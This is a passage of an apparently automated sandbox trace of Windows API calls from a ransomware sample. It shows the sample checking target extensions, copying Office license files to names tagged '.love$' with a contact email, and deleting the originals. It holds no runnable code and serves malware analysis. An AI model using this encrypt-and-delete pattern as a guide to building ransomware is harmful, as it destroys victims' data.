lpString2="m-ms") returned -1 [0256.085] lstrlenW (lpString=".rar") returned 4 [0256.085] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0256.085] lstrlenW (lpString=".bz2") returned 4 [0256.086] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0256.086] lstrlenW (lpString=".7z") returned 3 [0256.086] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0256.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0256.086] lstrlenW (lpString=".dbf") returned 4 [0256.086] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0256.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0256.086] lstrlenW (lpString=".1cd") returned 4 [0256.086] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0256.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0256.086] lstrlenW (lpString=".jpg") returned 4 [0256.086] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0256.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0256.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0256.086] lstrlenW (lpString=".doc") returned 4 [0256.086] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0256.086] lstrlenW (lpString=".docx") returned 5 [0256.086] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0256.086] lstrlenW (lpString=".pdf") returned 4 [0256.086] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0256.086] lstrlenW (lpString=".xls") returned 4 [0256.086] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0256.086] lstrlenW (lpString=".xlsx") returned 5 [0256.086] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0256.086] lstrlenW (lpString=".ppt") returned 4 [0256.087] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0256.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0256.087] lstrlenW (lpString=".zip") returned 4 [0256.087] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0256.087] lstrlenW (lpString=".rar") returned 4 [0256.087] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0256.087] lstrlenW (lpString=".bz2") returned 4 [0256.087] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0256.087] lstrlenW (lpString=".7z") returned 3 [0256.087] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0256.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0256.087] lstrlenW (lpString=".dbf") returned 4 [0256.087] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0256.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0256.087] lstrlenW (lpString=".1cd") returned 4 [0256.087] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0256.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0256.087] lstrlenW (lpString=".jpg") returned 4 [0256.087] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0256.087] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0256.088] lstrlenW (lpString="AccessVL_KMS_Client-ul-oob.xrm-ms") returned 33 [0256.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0256.649] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=11614) returned 1 [0256.649] CloseHandle (hObject=0x3f4) returned 1 [0256.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0256.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0256.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0256.650] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0256.650] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0256.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0256.652] GetLastError () returned 0x0 [0256.652] ReadFile (in: hFile=0x3f4, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x2d5e, lpOverlapped=0x0) returned 1 [0256.655] WriteFile (in: hFile=0x45c, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2d60, lpOverlapped=0x0) returned 1 [0256.656] ReadFile (in: hFile=0x3f4, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0256.656] WriteFile (in: hFile=0x45c, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x116, lpOverlapped=0x0) returned 1 [0256.656] SetEndOfFile (hFile=0x45c) returned 1 [0256.657] CloseHandle (hObject=0x45c) returned 1 [0256.657] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0256.657] SetEndOfFile (hFile=0x3f4) returned 1 [0256.660] CloseHandle (hObject=0x3f4) returned 1 [0256.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0256.661] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms")) returned 1 [0256.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0256.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0256.663] lstrlenW (lpString=".doc") returned 4 [0256.663] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0256.663] lstrlenW (lpString=".docx") returned 5 [0256.663] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0256.663] lstrlenW (lpString=".pdf") returned 4 [0256.663] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0256.663] lstrlenW (lpString=".xls") returned 4 [0256.663] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0256.663] lstrlenW (lpString=".xlsx") returned 5 [0256.663] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0256.663] lstrlenW (lpString=".ppt") returned 4 [0256.663] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0256.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0256.663] lstrlenW (lpString=".zip") returned 4 [0256.663] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0256.663] lstrlenW (lpString=".rar") returned 4 [0256.663] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0256.664] lstrlenW (lpString=".bz2") returned 4 [0256.664] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0256.664] lstrlenW (lpString=".7z") returned 3 [0256.664] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0256.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0256.664] lstrlenW (lpString=".dbf") returned 4 [0256.664] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0256.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0256.664] lstrlenW (lpString=".1cd") returned 4 [0256.664] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0256.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0256.664] lstrlenW (lpString=".jpg") returned 4 [0256.664] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0256.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0256.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0256.664] lstrlenW (lpString=".doc") returned 4 [0256.664] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0256.664] lstrlenW (lpString=".docx") returned 5 [0256.665] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0256.665] lstrlenW (lpString=".pdf") returned 4 [0256.665] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0256.665] lstrlenW (lpString=".xls") returned 4 [0256.665] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0256.665] lstrlenW (lpString=".xlsx") returned 5 [0256.665] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0256.665] lstrlenW (lpString=".ppt") returned 4 [0256.665] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0256.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0256.665] lstrlenW (lpString=".zip") returned 4 [0256.665] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0256.665] lstrlenW (lpString=".rar") returned 4 [0256.665] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0256.665] lstrlenW (lpString=".bz2") returned 4 [0256.665] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0256.665] lstrlenW (lpString=".7z") returned 3 [0256.665] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0256.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0256.665] lstrlenW (lpString=".dbf") returned 4 [0256.666] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0256.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0256.666] lstrlenW (lpString=".1cd") returned 4 [0256.666] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0256.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0256.666] lstrlenW (lpString=".jpg") returned 4 [0256.666] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0256.666] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0256.666] lstrlenW (lpString="AccessVL_KMS_Client-ul.xrm-ms") returned 29 [0256.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0256.668] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=9606) returned 1 [0256.668] CloseHandle (hObject=0x3f4) returned 1 [0256.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms")) returned 0x220 [0256.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0256.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0256.669] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0256.669] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0256.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0256.670] GetLastError () returned 0x0 [0256.670] ReadFile (in: hFile=0x3f4, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x2586, lpOverlapped=0x0) returned 1 [0256.672] WriteFile (in: hFile=0x45c, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2590, lpOverlapped=0x0) returned 1 [0256.674] ReadFile (in: hFile=0x3f4, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0256.674] WriteFile (in: hFile=0x45c, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x10e, lpOverlapped=0x0) returned 1 [0256.674] SetEndOfFile (hFile=0x45c) returned 1 [0256.674] CloseHandle (hObject=0x45c) returned 1 [0256.674] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0256.675] SetEndOfFile (hFile=0x3f4) returned 1 [0256.679] CloseHandle (hObject=0x3f4) returned 1 [0256.679] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0256.679] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms")) returned 1 [0256.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0256.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0256.681] lstrlenW (lpString=".doc") returned 4 [0256.681] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0256.681] lstrlenW (lpString=".docx") returned 5 [0256.681] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0256.681] lstrlenW (lpString=".pdf") returned 4 [0256.681] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0256.681] lstrlenW (lpString=".xls") returned 4 [0256.681] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0256.681] lstrlenW (lpString=".xlsx") returned 5 [0256.681] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0256.681] lstrlenW (lpString=".ppt") returned 4 [0256.681] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0256.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0256.681] lstrlenW (lpString=".zip") returned 4 [0256.681] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0256.682] lstrlenW (lpString=".rar") returned 4 [0256.682] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0256.682] lstrlenW (lpString=".bz2") returned 4 [0256.682] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0256.682] lstrlenW (lpString=".7z") returned 3 [0256.682] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0256.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0256.682] lstrlenW (lpString=".dbf") returned 4 [0256.682] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0256.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0256.682] lstrlenW (lpString=".1cd") returned 4 [0256.682] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0256.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0256.682] lstrlenW (lpString=".jpg") returned 4 [0256.682] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0256.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0256.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0256.682] lstrlenW (lpString=".doc") returned 4 [0256.682] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0256.682] lstrlenW (lpString=".docx") returned 5 [0256.682] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0256.682] lstrlenW (lpString=".pdf") returned 4 [0256.682] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0256.682] lstrlenW (lpString=".xls") returned 4 [0256.683] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0256.683] lstrlenW (lpString=".xlsx") returned 5 [0256.683] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0256.683] lstrlenW (lpString=".ppt") returned 4 [0256.683] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0256.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0256.683] lstrlenW (lpString=".zip") returned 4 [0256.683] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0256.683] lstrlenW (lpString=".rar") returned 4 [0256.683] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0256.683] lstrlenW (lpString=".bz2") returned 4 [0256.683] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0256.683] lstrlenW (lpString=".7z") returned 3 [0256.683] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0256.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0256.683] lstrlenW (lpString=".dbf") returned 4 [0256.683] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0256.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0256.683] lstrlenW (lpString=".1cd") returned 4 [0256.683] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0256.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0256.683] lstrlenW (lpString=".jpg") returned 4 [0256.683] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0256.683] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0256.684] lstrlenW (lpString="AccessVL_MAK-pl.xrm-ms") returned 22 [0256.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0256.685] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=10623) returned 1 [0256.685] CloseHandle (hObject=0x3f4) returned 1 [0256.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms")) returned 0x220 [0256.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0256.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0256.686] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0256.686] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0256.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0256.687] GetLastError () returned 0x0 [0256.687] ReadFile (in: hFile=0x3f4, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x297f, lpOverlapped=0x0) returned 1 [0257.074] WriteFile (in: hFile=0x45c, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2980, lpOverlapped=0x0) returned 1 [0257.097] ReadFile (in: hFile=0x3f4, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0257.097] WriteFile (in: hFile=0x45c, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x100, lpOverlapped=0x0) returned 1 [0257.097] SetEndOfFile (hFile=0x45c) returned 1 [0257.097] CloseHandle (hObject=0x45c) returned 1 [0257.098] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0257.098] SetEndOfFile (hFile=0x3f4) returned 1 [0257.243] CloseHandle (hObject=0x3f4) returned 1 [0257.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0257.244] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms")) returned 1 [0257.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0257.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0257.245] lstrlenW (lpString=".doc") returned 4 [0257.245] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0257.245] lstrlenW (lpString=".docx") returned 5 [0257.245] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0257.245] lstrlenW (lpString=".pdf") returned 4 [0257.245] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0257.245] lstrlenW (lpString=".xls") returned 4 [0257.245] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0257.246] lstrlenW (lpString=".xlsx") returned 5 [0257.246] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0257.246] lstrlenW (lpString=".ppt") returned 4 [0257.246] lstrcmpiW (lpString1=".ppt", 